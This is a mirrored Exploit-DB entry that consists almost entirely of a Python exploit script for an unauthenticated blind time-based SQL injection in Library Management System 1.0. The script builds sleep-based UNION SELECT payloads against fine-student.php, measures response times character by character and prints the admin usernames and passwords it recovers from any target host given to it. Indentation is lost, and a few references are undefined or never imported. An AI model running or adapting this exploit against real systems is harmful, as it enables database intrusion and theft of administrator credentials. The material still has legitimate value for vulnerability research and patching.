Library Management System 1.0 – Blind Time-Based SQL Injection (Unauthenticated)

  • 作者: boku
    日期: 2021-09-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50300/
  • # Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)
    # Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec)
    # Date: 16/09/2021
    # Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip
    # Vendor: breakthrough2
    # Tested on: Kali Linux, Apache, Mysql
    # Version: v1.0
    # Exploit Description:
    # Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack. 
    # Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html
    import requests,argparse
    from colorama import (Fore as F, Back as B, Style as S)
    
    BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
    def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
    info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G')
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
    
    # POST /LibraryManagement/fine-student.php
    # inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha
    def sqliPayload(char,position,userid,column,table):
    sqli= 'inject\' UNION SELECT IF(SUBSTRING('
    sqli += str(column)+','
    sqli += str(position)+',1) = \''
    sqli += str(char)+'\',sleep(1),null) FROM '
    sqli += str(table)+' WHERE adminId='
    sqli += str(userid)+'; -- kamahamaha'
    return sqli
    
    chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
    'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
    'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
    'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
    '8','9','@','#']
    
    def postRequest(URL,sqliReq,char,position,pxy):
    sqliURL = URL
    params = {"check":1,"id":sqliReq}
    if pxy:
    req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)
    else:
    req = requests.post(url=sqliURL, data=params, verify=False, timeout=10)
    #print("{} : {}".format(char,req.elapsed.total_seconds()))
    return req.elapsed.total_seconds()
    
    def theHarvester(target,CHARS,url,pxy):
    #print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))
    position = 1
    theHarvest = ""
    while position < 8:
    for char in CHARS:
    sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table'])
    if postRequest(url,sqliReq,char,position,pxy) > 1:
    theHarvest += char
    break;
    position += 1
    return theHarvest
    
    class userObj:
    def __init__(self,username,password):
    self.username = username
    self.password = password
    
    class tableSize:
    def __init__(self,sizeU,sizeP):
    self.sizeU = sizeU
    self.sizeP = sizeP
    self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST
    self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST
    def printHeader(self):
    width = self.sizeU+self.sizeP+3
    print(BR+" "*width+ST)
    print(self.uTitle,self.pTitle)
    print(BR+" "*width+ST)
    
    def printTableRow(user,size):
    username = user.username
    unLen = len(username)
    if unLen < size.sizeU:
    username = username+(" "*(size.sizeU - unLen))
    else:
    name = name[:size.sizeU]
    username += BR+" "+ST
    password = user.password
    pLen = len(password)
    if pLen < size.sizeP:
    password = password+(" "*(size.sizeP - pLen))
    else:
    password = password[:size.sizeP]
    password+= BR+" "+ST
    print(username,password)
    
    
    def sig():
    SIG= SB+FY+" .-----.._ ,--.\n"
    SIG += FY+" |..>___ || .--.\n"
    SIG += FY+" ||.','-'"+FR+"* *"+FY+"'-. |//__ __\n"
    SIG += FY+" |</ "+FR+"***"+FY+" \ / \\/ \\\n"
    SIG += FY+" ||> )"+FR+" * *"+FY+" /\\\\\n"
    SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\\n"
    SIG += FY+" _______"+FR+"github.com/boku7"+FY+"_____\n"+ST
    return SIG
    
    def argsetup():
    about= SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST
    parser = argparse.ArgumentParser(description=about)
    parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"')
    parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5')
    parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent')
    args = parser.parse_args()
    if args.proxy:
    regex = '^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}$'
    if re.match(regex,args.proxy,re.IGNORECASE):
    args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)}
    else:
    print('{}Error: Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex))
    print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0]))
    sys.exit(-1)
    else:
    proxy = False
    return args
    
    if __name__ == "__main__":
    header = SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST
    print(header)
    print(sig())
    args = argsetup()
    host = args.targetHost
    pxy= args.proxy
    admins = args.DumpXAdmins
    PATH = host+"/LibraryManagement/fine-student.php"
    size= tableSize(20,20)
    size.printHeader()
    dumpnumber = 1
    while dumpnumber <= admins:
    adminUsername= { "id":dumpnumber, "table":"admin", "column":"username"}
    adminUsername= theHarvester(adminUsername,chars,PATH,pxy)
    adminPassword= { "id":dumpnumber, "table":"admin", "column":"password"}
    adminPass = theHarvester(adminPassword,chars,PATH,pxy)
    adminUser = userObj(adminUsername,adminPass)
    printTableRow(adminUser,size)
    # print("Admin's Username is: {}".format(adminUsername))
    # print("Admin's Password is: {}".format(adminPass))
    dumpnumber += 1